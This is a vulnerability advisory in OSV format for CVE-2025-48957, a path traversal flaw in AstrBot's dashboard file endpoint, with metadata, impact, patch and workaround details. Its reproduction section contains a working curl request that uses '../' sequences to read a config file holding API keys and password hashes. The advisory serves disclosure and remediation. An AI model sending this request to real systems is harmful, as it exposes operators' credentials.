---
id: CVE-2025-48957
aliases:
  - GHSA-cq37-g2qp-3c2p
  - PYSEC-2026-1196
title: AstrBot Has Path Traversal Vulnerability in /api/chat/get_file
summary: AstrBot Has Path Traversal Vulnerability in /api/chat/get_file
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
vendor: astrbot
product: astrbot
ecosystem: pip
affected:
  - 'astrbot >= 3.4.4, < 3.5.13'
patched:
  - astrbot 3.5.13
published: '2025-06-04'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:25.264985334Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-cq37-g2qp-3c2p'
references:
  - url: >-
      https://github.com/AstrBotDevs/AstrBot/security/advisories/GHSA-cq37-g2qp-3c2p
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2025-48957'
  - url: 'https://github.com/AstrBotDevs/AstrBot/issues/1675'
  - url: 'https://github.com/AstrBotDevs/AstrBot/pull/1676'
  - url: >-
      https://github.com/AstrBotDevs/AstrBot/commit/cceadf222c46813c7f41115b40d371e7eb91e492
  - url: 'https://github.com/AstrBotDevs/AstrBot'
  - url: >-
      https://www.vicarius.io/vsociety/posts/cve-2025-48957-detect-astrbot-dashboard-vulnerability?prevUrl=wizard
  - url: >-
      https://www.vicarius.io/vsociety/posts/cve-2025-48957-mitigate-astrbot-dashboard-vulnerability?prevUrl=wizard
tags:
  - osv
  - pip
epss: 0.00739
epssPercentile: 0.5315
ingestedAt: '2026-07-08T18:25:48.530Z'
---

## Overview

### Impact

This vulnerability may lead to:

* Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

### Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

1. Install dependencies and clone the repository:

   ```bash
   pip install uv
   git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
   uv run main.py
   ```

2. Alternatively, deploy the program via pip:

   ```bash
   mkdir astrbot && cd astrbot
   uvx astrbot init
   uvx astrbot run
   ```

3. In another terminal, run the following command to exploit the vulnerability:

   ```bash
   curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json
   ```

This request will read the `cmd_config.json` config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

### Patches

The vulnerability has been addressed in [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676) and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

### Workarounds
Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

### References

* [Pull Request #1676](https://github.com/AstrBotDevs/AstrBot/pull/1676)
* [Issue #1675](https://github.com/AstrBotDevs/AstrBot/issues/1675)

## Affected packages

- `astrbot >= 3.4.4, < 3.5.13`

## Remediation

Upgrade to a patched release:

- `astrbot 3.5.13`